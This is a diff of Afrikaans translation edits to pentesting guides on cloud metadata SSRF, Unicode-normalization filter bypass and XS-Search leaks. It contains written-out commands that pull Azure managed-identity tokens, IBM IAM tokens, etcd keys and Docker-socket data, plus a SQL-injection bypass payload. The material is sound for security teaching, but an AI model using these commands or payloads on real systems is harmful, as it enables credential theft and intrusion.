@ -369,7 +369,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
> ```
> [!CAUTION]
> In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen, sal die **standaard MI gebruik word**.
> In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen nie, sal die **standaard MI gebruik word**.
{{#tabs}}
{{#tab name="Bash"}}
@ -406,7 +406,20 @@ Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http:
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
# Paths
## Get management token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token
## Get graph token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token
## Get vault token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token
## Get storage token
(Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token
# More Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
@ -414,7 +427,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
{{#endtab}}
{{#endtabs}}
### Azure App & Funksies Dienste & Outomatisering Rekeninge
### Azure App & Functions Dienste & Automatiseringsrekeninge
Van die **env** kan jy die waardes van **`IDENTITY_HEADER`** en **`IDENTITY_ENDPOINT`** kry. Dit kan jy gebruik om 'n token te verskaf om met die metadata bediener te praat.
@ -426,7 +439,7 @@ Meestal wil jy 'n token vir een van hierdie hulpbronne hê:
- [https://management.azure.com](https://management.azure.com/)
> [!CAUTION]
> In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen, sal die **standaard MI gebruik word**.
> In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen, sal die **verstek MI gebruik word**.
{{#tabs}}
{{#tab name="Bash"}}
@ -450,7 +463,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08
{{#endtab}}
{{#tab name="PS"}}
```powershell
```bash
# Define the API version
$API_VERSION = "2019-08-01"
@ -511,7 +524,7 @@ Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID'
## IBM Cloud
> [!WARNING]
> Let daarop dat metadata in IBM standaard nie geaktiveer is nie, so dit is moontlik dat jy nie toegang daartoe sal hê nie, selfs al is jy binne 'n IBM cloud VM
> Let op dat in IBM is metadata standaard nie geaktiveer nie, so dit is moontlik dat jy dit nie sal kan toegang nie, selfs al is jy binne 'n IBM cloud VM
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
@ -535,7 +548,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
Dokumentasie vir verskeie platforms se metadata dienste word hieronder uiteengesit, wat die metodes beklemtoon waardeur konfigurasie en runtime inligting vir instansies verkry kan word. Elke platform bied unieke eindpunte om toegang tot sy metadata dienste te verkry.
Dokumentasie vir verskeie platforms se metadata-dienste word hieronder uiteengesit, wat die metodes beklemtoon waardeur konfigurasie- en tyds-inligting vir instansies verkry kan word. Elke platform bied unieke eindpunte om toegang tot sy metadata-dienste te verkry.
## Packetcloud
@ -549,13 +562,13 @@ Die noodsaaklikheid vir 'n kop is nie genoem nie. Metadata kan verkry word deur:
## HP Helion
Die noodsaaklikheid vir 'n kop word hier ook nie genoem nie. Metadata is toeganklik by:
Die noodsaaklikheid vir 'n kop word hier ook nie genoem nie. Metadata is beskikbaar by:
- `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
Oracle Cloud bied 'n reeks eindpunte vir toegang tot verskeie metadata aspekte:
Oracle Cloud bied 'n reeks eindpunte vir toegang tot verskeie metadata-aspekte:
- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
@ -564,7 +577,7 @@ Oracle Cloud bied 'n reeks eindpunte vir toegang tot verskeie metadata aspekte:
## Alibaba
Alibaba bied eindpunte vir toegang tot metadata, insluitend instansie en beeld ID's:
Alibaba bied eindpunte vir toegang tot metadata, insluitend instansie- en beeld-ID's:
- `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id`
@ -572,18 +585,18 @@ Alibaba bied eindpunte vir toegang tot metadata, insluitend instansie en beeld I
## Kubernetes ETCD
Kubernetes ETCD kan API sleutels, interne IP adresse, en poorte hou. Toegang word gedemonstreer deur:
Kubernetes ETCD kan API-sleutels, interne IP-adresse en poorte hou. Toegang word gedemonstreer deur:
- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
## Docker
Docker metadata kan plaaslik verkry word, met voorbeelde gegee vir houer en beeld inligting herwinning:
Docker metadata kan plaaslik verkry word, met voorbeelde gegee vir houer- en beeldinligting:
- Eenvoudige voorbeeld om toegang tot houers en beelde metadata via die Docker soket te verkry:
- Eenvoudige voorbeeld om toegang te verkry tot houers en beelde metadata via die Docker-soket:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- Binne die houer, gebruik curl met die Docker soket:
- Binne die houer, gebruik curl met die Docker-soket:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`

View File

@ -11,7 +11,7 @@ Unicode-normalisering is 'n proses wat verseker dat verskillende binêre voorste
1. **Kanonieke Gelykheid**: Karakters word as kanoniek gelyk beskou as hulle dieselfde voorkoms en betekenis het wanneer dit gedruk of vertoon word.
2. **Compatibiliteitsgelykheid**: 'n Swakker vorm van gelykheid waar karakters dieselfde abstrakte karakter kan voorstel, maar anders vertoon kan word.
Daar is **vier Unicode-normaliseringsalgoritmes**: NFC, NFD, NFKC, en NFKD. Elke algoritme gebruik kanonieke en kompatibiliteitsnormaliseringstegnieke op 'n ander manier. Vir 'n meer diepgaande begrip kan jy hierdie tegnieke op [Unicode.org](https://unicode.org/) verken.
Daar is **vier Unicode-normalisering algoritmes**: NFC, NFD, NFKC, en NFKD. Elke algoritme gebruik kanonieke en kompatibiliteitsnormaliseringstegnieke op 'n ander manier. Vir 'n meer diepgaande begrip kan jy hierdie tegnieke op [Unicode.org](https://unicode.org/) verken.
### Sleutelpunte oor Unicode-kodering
@ -19,7 +19,7 @@ Om Unicode-kodering te verstaan, is van kardinale belang, veral wanneer dit kom
- **Kodepunte en Karakters**: In Unicode word elke karakter of simbool 'n numeriese waarde toegeken wat bekend staan as 'n "kodepunt".
- **Bytes Voorstelling**: Die kodepunt (of karakter) word deur een of meer bytes in geheue voorgestel. Byvoorbeeld, LATIN-1 karakters (algemeen in Engelssprekende lande) word met een byte voorgestel. egter, tale met 'n groter stel karakters benodig meer bytes vir voorstelling.
- **Kodering**: Hierdie term verwys na hoe karakters in 'n reeks bytes omgeskakel word. UTF-8 is 'n algemene koderingstandaard waar ASCII-karakters met een byte voorgestel word, en tot vier bytes vir ander karakters.
- **Kodering**: Hierdie term verwys na hoe karakters in 'n reeks bytes omgeskakel word. UTF-8 is 'n algemene koderingstandaard waar ASCII karakters met een byte voorgestel word, en tot vier bytes vir ander karakters.
- **Verwerking van Data**: Stelsels wat data verwerk, moet bewus wees van die kodering wat gebruik word om die byte-stroom korrek in karakters om te skakel.
- **Variantes van UTF**: Benewens UTF-8, is daar ander koderingstandaarde soos UTF-16 (wat 'n minimum van 2 bytes gebruik, tot 4) en UTF-32 (wat 4 bytes vir alle karakters gebruik).
@ -41,9 +41,9 @@ Ander **voorbeeld**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%
### **SQL Injection filter omseiling**
Stel jou 'n webblad voor wat die karakter `'` gebruik om SQL navrae met die gebruiker se invoer te skep. Hierdie webblad, as 'n sekuriteitsmaatreël, **verwyder** alle voorkomste van die karakter **`'`** uit die gebruiker se invoer, maar **na daardie verwydering** en **voor die skepping** van die navraag, **normaliseer** dit die gebruiker se invoer met **Unicode**.
Stel jou 'n webblad voor wat die karakter `'` gebruik om SQL-navrae met die gebruikersinvoer te skep. Hierdie web, as 'n sekuriteitsmaatreël, **verwyder** alle voorkomste van die karakter **`'`** uit die gebruikersinvoer, maar **na daardie verwydering** en **voor die skepping** van die navraag, **normaliseer** dit die gebruikersinvoer met **Unicode**.
Dan kan 'n kwaadwillige gebruiker 'n ander Unicode karakter wat ekwivalent is aan `' (0x27)` soos `%ef%bc%87` invoeg, wanneer die invoer genormaliseer word, word 'n enkele aanhalingsteken geskep en 'n **SQLInjection kwesbaarheid** verskyn:
Dan kan 'n kwaadwillige gebruiker 'n ander Unicode-karakter wat ekwivalent is aan `' (0x27)` soos `%ef%bc%87` invoeg, wanneer die invoer genormaliseer word, word 'n enkele aanhalingsteken geskep en 'n **SQLInjection kwesbaarheid** verskyn:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
@ -91,9 +91,9 @@ Let op dat die eerste Unicode-karakter wat voorgestel word, gestuur kan word as:
### Fuzzing Regexes
Wanneer die backend **gebruikersinvoer met 'n regex nagaan**, kan dit moontlik wees dat die **invoer** **genormaliseer** word vir die **regex** maar **nie** vir waar dit gebruik word nie. Byvoorbeeld, in 'n Open Redirect of SSRF kan die regex die gestuurde URL **genormaliseer** maar dan **dit soos dit is** benader.
Wanneer die backend **gebruikersinvoer met 'n regex nagaan**, kan dit moontlik wees dat die **invoer** **genormaliseer** word vir die **regex** maar **nie** vir waar dit gebruik word nie. Byvoorbeeld, in 'n Open Redirect of SSRF kan die regex die gestuurde URL **normaliseer** maar dan **dit soos dit is** benader.
Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* maak dit moontlik om **variasies van die invoer** te genereer om die backend te fuzz. Vir meer inligting, kyk na die **github** en hierdie [**plasing**](https://0xacb.com/2022/11/21/recollapse/).
Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) laat jou toe om **variasies van die invoer** te genereer om die backend te fuzz. Vir meer inligting, kyk na die **github** en hierdie [**plasing**](https://0xacb.com/2022/11/21/recollapse/).
## Unicode Overflow

View File

@ -8,8 +8,8 @@ XS-Search is 'n metode wat gebruik word om **kruis-oorsprong inligting** te **on
Belangrike komponente wat betrokke is by hierdie aanval sluit in:
- **Kwetsbare Web**: Die teikenwebwerf waarvan inligting bedoel is om onttrek te word.
- **Aanvaller se Web**: Die kwaadwillige webwerf wat deur die aanvaller geskep is, wat die slagoffer besoek en die eksploit aanbied.
- **Kwetsbare Web**: Die teikenwebwerf waaruit inligting onttrek moet word.
- **Aanvaller se Web**: Die kwaadwillige webwerf wat deur die aanvaller geskep is, wat die slagoffer besoek en die ontploffing huisves.
- **Insluitingsmetode**: Die tegniek wat gebruik word om die Kwetsbare Web in die Aanvaller se Web in te sluit (bv. window.open, iframe, fetch, HTML-tag met href, ens.).
- **Lek Tegniek**: Tegnieke wat gebruik word om verskille in die toestand van die Kwetsbare Web te onderskei op grond van inligting wat deur die insluitingsmetode versamel is.
- **Toestande**: Die twee potensiële toestande van die Kwetsbare Web, wat die aanvaller poog om te onderskei.
@ -21,25 +21,25 @@ Verskeie aspekte kan geanaliseer word om die toestande van die Kwetsbare Web te
- **Statuskode**: Onderskeiding tussen **verskeie HTTP-responsstatuskodes** kruis-oorsprong, soos bedienerfoute, kliëntfoute, of outentikasiefoute.
- **API Gebruik**: Identifisering van **gebruik van Web API's** oor bladsye, wat onthul of 'n kruis-oorsprong bladsy 'n spesifieke JavaScript Web API gebruik.
- **Herlidings**: Opspoor van navigasies na verskillende bladsye, nie net HTTP-herleidings nie, maar ook dié wat deur JavaScript of HTML geaktiveer word.
- **Herluidings**: Opspoor van navigasies na verskillende bladsye, nie net HTTP-herluidings nie, maar ook dié wat deur JavaScript of HTML geaktiveer word.
- **Bladsy Inhoud**: Waarneming van **verskille in die HTTP-responsliggaam** of in bladsy sub-hulpbronne, soos die **aantal ingeslote rame** of grootteverskille in beelde.
- **HTTP Kop**: Notering van die teenwoordigheid of moontlik die waarde van 'n **spesifieke HTTP-responskop**, insluitend koppe soos X-Frame-Options, Content-Disposition, en Cross-Origin-Resource-Policy.
- **Tydsduur**: Opmerking van konsekwente tydverskille tussen die twee toestande.
- **Tydsberekening**: Opmerking van konsekwente tydverskille tussen die twee toestande.
### Insluitingsmetodes
- **HTML Elemente**: HTML bied verskeie elemente vir **kruis-oorsprong hulpbroninsluiting**, soos stylesheets, beelde, of skripte, wat die blaaiers dwing om 'n nie-HTML hulpbron aan te vra. 'n Samevatting van potensiële HTML-elemente vir hierdie doel kan gevind word by [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Rame**: Elemente soos **iframe**, **object**, en **embed** kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy **gebrek aan raam beskerming** het, kan JavaScript toegang verkry tot die ingeslote hulpbron se venster objek via die contentWindow eienskap.
- **Pop-ups**: Die **`window.open`** metode open 'n hulpbron in 'n nuwe oortjie of venster, wat 'n **vensterhandvatsel** bied vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. Pop-ups, wat dikwels in enkel aanmelding gebruik word, omseil raam- en koekiebeperkings van 'n teikenhulpbron. Moderne blaaiers beperk egter die skepping van pop-ups tot sekere gebruikersaksies.
- **JavaScript Versoeke**: JavaScript laat direkte versoeke aan teikenhulpbronne toe met behulp van **XMLHttpRequests** of die **Fetch API**. Hierdie metodes bied presiese beheer oor die versoek, soos om te kies om HTTP-herleidings te volg.
- **HTML Elemente**: HTML bied verskeie elemente vir **kruis-oorsprong hulpbroninsluiting**, soos stylesheets, beelde, of skripte, wat die blaaiers dwing om 'n nie-HTML hulpbron aan te vra. 'n Samevoeging van potensiële HTML-elemente vir hierdie doel kan gevind word by [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Rame**: Elemente soos **iframe**, **object**, en **embed** kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy **gebroke beskerming** ontbreek, kan JavaScript toegang verkry tot die ingeslote hulpbron se vensterobjek via die contentWindow eienskap.
- **Pop-ups**: Die **`window.open`** metode open 'n hulpbron in 'n nuwe oortjie of venster, wat 'n **vensterhandvatsel** bied vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. Pop-ups, wat dikwels in enkel aanmeld gebruik word, omseil die raam- en koekiebeperkings van 'n teikenhulpbron. Moderne blaaiers beperk egter die skepping van pop-ups tot sekere gebruikersaksies.
- **JavaScript Versoeke**: JavaScript laat direkte versoeke aan teikenhulpbronne toe met behulp van **XMLHttpRequests** of die **Fetch API**. Hierdie metodes bied presiese beheer oor die versoek, soos om te kies om HTTP-herluidings te volg.
### Lek Tegnieke
- **Gebeurtenis Handler**: 'n Klassieke lek tegniek in XS-Leaks, waar gebeurtenis handlers soos **onload** en **onerror** insigte bied oor hulpbronlaai sukses of mislukking.
- **Foutboodskappe**: JavaScript uitsonderings of spesiale foutbladsye kan lek inligting bied, hetsy direk van die foutboodskap of deur die teenwoordigheid en afwesigheid daarvan te onderskei.
- **Globale Beperkings**: Fisiese beperkings van 'n blaier, soos geheue kapasiteit of ander afgedwonge blaierbeperkings, kan aandui wanneer 'n drempel bereik is, wat as 'n lek tegniek dien.
- **Foutboodskappe**: JavaScript uitsonderings of spesiale foutbladsye kan lek inligting bied, hetsy direk uit die foutboodskap of deur te onderskei tussen die teenwoordigheid en afwesigheid daarvan.
- **Globale Beperkings**: Fisiese beperkings van 'n blaier, soos geheuekapasiteit of ander afgedwonge blaierbeperkings, kan aandui wanneer 'n drempel bereik is, wat as 'n lek tegniek dien.
- **Globale Toestand**: Waarneembare interaksies met die blaier se **globale toestande** (bv. die Geskiedenis-koppelvlak) kan uitgebuit word. Byvoorbeeld, die **aantal inskrywings** in 'n blaier se geskiedenis kan leidrade bied oor kruis-oorsprong bladsye.
- **Prestasie API**: Hierdie API bied **prestasie besonderhede van die huidige bladsy**, insluitend netwerk tydsduur vir die dokument en gelaaide hulpbronne, wat afleidings oor aangevraagde hulpbronne moontlik maak.
- **Prestasie API**: Hierdie API bied **prestasie besonderhede van die huidige bladsy**, insluitend netwerk tydsberekening vir die dokument en gelaaide hulpbronne, wat afleidings oor aangevraagde hulpbronne moontlik maak.
- **Leesbare Eienskappe**: Sommige HTML-eienskappe is **leesbaar kruis-oorsprong** en kan as 'n lek tegniek gebruik word. Byvoorbeeld, die `window.frame.length` eienskap laat JavaScript toe om die rame wat in 'n webblad kruis-oorsprong ingesluit is, te tel.
## XSinator Gereedskap & Papier
@ -49,13 +49,13 @@ XSinator is 'n outomatiese hulpmiddel om **blaaiers teen verskeie bekende XS-Lea
Jy kan **die hulpmiddel in** [**https://xsinator.com/**](https://xsinator.com/)
> [!WARNING]
> **Uitsluit XS-Leaks**: Ons moes XS-Leaks uitsluit wat staatmaak op **dienswerkers** aangesien dit ander lekke in XSinator sou inmeng. Verder het ons besluit om **XS-Leaks wat staatmaak op verkeerde konfigurasie en foute in 'n spesifieke webtoepassing** uit te sluit. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) verkeerde konfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Leaks uitgesluit aangesien hulle dikwels ly aan stadigheid, geraas en onakkuraatheid.
> **Uitsluit XS-Leaks**: Ons moes XS-Leaks uitsluit wat staatmaak op **dienswerkers** aangesien dit ander lekke in XSinator sou inmeng. Verder het ons besluit om **XS-Leaks wat staatmaak op miskonfigurasie en foute in 'n spesifieke webtoepassing** uit te sluit. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) miskonfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Leaks uitgesluit aangesien hulle dikwels ly aan stadigheid, geraas en onakkuraatheid.
## **Tydgebaseerde tegnieke**
Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye op te spoor. Daar is verskillende maniere om tyd in 'n webblaaier te meet.
Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye te ontdek. Daar is verskillende maniere om tyd in 'n webblaaier te meet.
**Horlosies**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API laat ontwikkelaars toe om hoë-resolusie tydsmeetings te verkry.\
**Horlosies**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API laat ontwikkelaars toe om hoë-resolusie tydsmetings te verkry.\
Daar is 'n aansienlike aantal API's wat aanvallers kan misbruik om implisiete horlosies te skep: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animasies, en ander.\
Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
@ -73,7 +73,7 @@ Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](htt
xs-search/cookie-bomb-+-onerror-xs-leak.md
{{#endref}}
Die kode voorbeeld probeer om **scripts objek van JS** te **laai**, maar **ander tags** soos objek, stylesheets, beelde, oudio's kan ook gebruik word. Boonop is dit ook moontlik om die **tag direk** in te voeg en die `onload` en `onerror` gebeurtenisse binne die tag te verklaar (in plaas van om dit van JS af in te voeg).
Die kode voorbeeld probeer om **skrif objek van JS** te **laai**, maar **ander tags** soos objek, stylesheets, beelde, klank kan ook gebruik word. Boonop is dit ook moontlik om die **tag direk** in te voeg en die `onload` en `onerror` gebeurtenisse binne die tag te verklaar (in plaas daarvan om dit van JS in te voeg).
Daar is ook 'n skrip-vrye weergawe van hierdie aanval:
```html
@ -88,8 +88,8 @@ In hierdie geval, as `example.com/404` nie gevind word nie, sal `attacker.com/?e
- **Insluitingsmetodes**: HTML Elemente
- **Waarneembare Verskil**: Tyd (generaal weens Bladsy Inhoud, Statuskode)
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
- **Opsomming:** Die [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** kan gebruik word om te meet hoe lank dit neem om 'n versoek te doen. egter, ander horlosies kan gebruik word, soos [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) wat take kan identifiseer wat langer as 50ms duur.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 'n ander voorbeeld in:
- **Opsomming:** Die [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** kan gebruik word om te meet hoe lank dit neem om 'n versoek te doen. Ander horlosies kan egter gebruik word, soos die [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) wat take kan identifiseer wat langer as 50ms duur.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 'n Ander voorbeeld in:
{{#ref}}
xs-search/performance.now-example.md
@ -121,7 +121,7 @@ Die tyd wat geneem word om 'n hulpbron te verkry, kan gemeet word deur die [`unl
- **Opsomming:** Die [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API kan gebruik word om te meet hoe lank dit neem om 'n versoek te doen. Ander horlosies kan gebruik word.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
Daar is waargeneem dat in die afwesigheid van [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), die tyd wat benodig word vir 'n bladsy en sy subhulpbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die `onload` handler van 'n iframe slegs geaktiveer word na die voltooiing van hulpbronlaai en JavaScript-uitvoering. Om die variabiliteit wat deur skripuitvoering ingebring word, te omseil, kan 'n aanvaller die [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) attribuut binne die `<iframe>` gebruik. Die insluiting van hierdie attribuut beperk verskeie funksionaliteite, veral die uitvoering van JavaScript, wat 'n meting fasiliteer wat hoofsaaklik deur netwerkprestasie beïnvloed word.
Daar is waargeneem dat in die afwesigheid van [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), die tyd wat benodig word vir 'n bladsy en sy subhulpbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die `onload` handler van 'n iframe slegs geaktiveer word na die voltooiing van hulpbronlaai en JavaScript-uitvoering. Om die variabiliteit wat deur skripuitvoering ingebring word te omseil, kan 'n aanvaller die [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) attribuut binne die `<iframe>` gebruik. Die insluiting van hierdie attribuut beperk verskeie funksies, veral die uitvoering van JavaScript, wat 'n meting fasiliteer wat hoofsaaklik deur netwerkprestasie beïnvloed word.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
@ -131,12 +131,12 @@ Daar is waargeneem dat in die afwesigheid van [Framing Protections](https://xsle
- **Insluitingsmetodes**: Frames
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**:
- **Opsomming**: As jy die bladsy kan laat fout wanneer die korrekte inhoud toeganklik is en dit korrek kan laai wanneer enige inhoud toeganklik is, kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.
- **Opsomming**: As jy die bladsy kan laat fout wanneer die korrekte inhoud toeganklik is en dit korrek kan laai wanneer enige inhoud toeganklik is, dan kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet.
- **Kode Voorbeeld**:
Neem aan dat jy die **bladsy** wat die **geheime** inhoud het, **binne 'n Iframe** kan **invoeg**.
Jy kan die **slagoffer laat soek** na die lêer wat "_**vlag**_" bevat deur 'n **Iframe** te gebruik (byvoorbeeld 'n CSRF te benut). Binne die Iframe weet jy dat die _**onload gebeurtenis**_ altyd **ten minste een keer** sal **uitgevoer word**. Dan kan jy die **URL** van die **iframe** verander, maar net die **inhoud** van die **hash** binne die URL verander.
Jy kan die **slagoffer laat soek** na die lêer wat "_**vlag**_" bevat met behulp van 'n **Iframe** (byvoorbeeld deur 'n CSRF te benut). Binne die Iframe weet jy dat die _**onload gebeurtenis**_ altyd **ten minste een keer** sal **uitgevoer word**. Dan kan jy die **URL** van die **iframe** verander, maar net die **inhoud** van die **hash** binne die URL verander.
Byvoorbeeld:
@ -152,7 +152,7 @@ Dan kan jy **onderskei tussen** 'n **korrek** gelaaide bladsy of 'n bladsy wat '
- **Insluitingsmetodes**: Frames
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**:
- **Opsomming:** As die **bladsy** die **sensitiewe** inhoud **teruggee**, **of** 'n **inhoud** wat deur die gebruiker **beheer** kan word. Die gebruiker kan **geldige JS kode in die negatiewe geval** stel, en **laai** elke poging binne **`<script>`** etikette, so in **negatiewe** gevalle sal die aanvallers **kode** **uitgevoer** word, en in **bevestigende** gevalle sal **niks** uitgevoer word nie.
- **Opsomming:** As die **bladsy** die **sensitiewe** inhoud **teruggee**, **of** 'n **inhoud** wat deur die gebruiker **beheer** kan word. Die gebruiker kan **geldige JS kode in die negatiewe geval** stel, en **laai** elke poging binne **`<script>`** tags, so in **negatiewe** gevalle sal die aanvallers **kode** **uitgevoer** word, en in **bevestigende** gevalle sal **niks** uitgevoer word nie.
- **Kode Voorbeeld:**
{{#ref}}
@ -177,8 +177,8 @@ Kyk die meer inligting skakel vir meer inligting oor die aanval.
- **Opsomming**: Lek sensitiewe data van die id of naam attribuut.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
Dit is moontlik om 'n **bladsy** binne 'n **iframe** te **laai** en die **`#id_value`** te gebruik om die bladsy **fokus op die element** van die iframe te maak met die aangeduide as, dan as 'n **`onblur`** sein geaktiveer word, bestaan die ID element.\
Jy kan dieselfde aanval met **`portal`** etikette uitvoer.
Dit is moontlik om 'n **bladsy** binne 'n **iframe** te **laai** en die **`#id_value`** te gebruik om die bladsy **fokus op die element** van die iframe te maak met die aangeduide id, dan as 'n **`onblur`** sein geaktiveer word, bestaan die ID element.\
Jy kan dieselfde aanval met **`portal`** tags uitvoer.
### postMessage Uitzendings <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
@ -188,7 +188,7 @@ Jy kan dieselfde aanval met **`portal`** etikette uitvoer.
- **Opsomming**: Versamel sensitiewe inligting van 'n postMessage of gebruik die teenwoordigheid van postMessages as 'n orakel om die status van die gebruiker op die bladsy te ken
- **Kode Voorbeeld**: `Enige kode wat na alle postMessages luister.`
Toepassings gebruik gereeld [`postMessage` uitzendings](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) om oor verskillende oorspronge te kommunikeer. Tog kan hierdie metode per ongeluk **sensitiewe inligting** blootstel as die `targetOrigin` parameter nie behoorlik gespesifiseer is nie, wat enige venster toelaat om die boodskappe te ontvang. Verder kan die blote daad van die ontvangs van 'n boodskap as 'n **orakel** optree; byvoorbeeld, sekere boodskappe mag slegs aan gebruikers wat ingelog is, gestuur word. Daarom kan die teenwoordigheid of afwesigheid van hierdie boodskappe inligting oor die gebruiker se toestand of identiteit onthul, soos of hulle geverifieer is of nie.
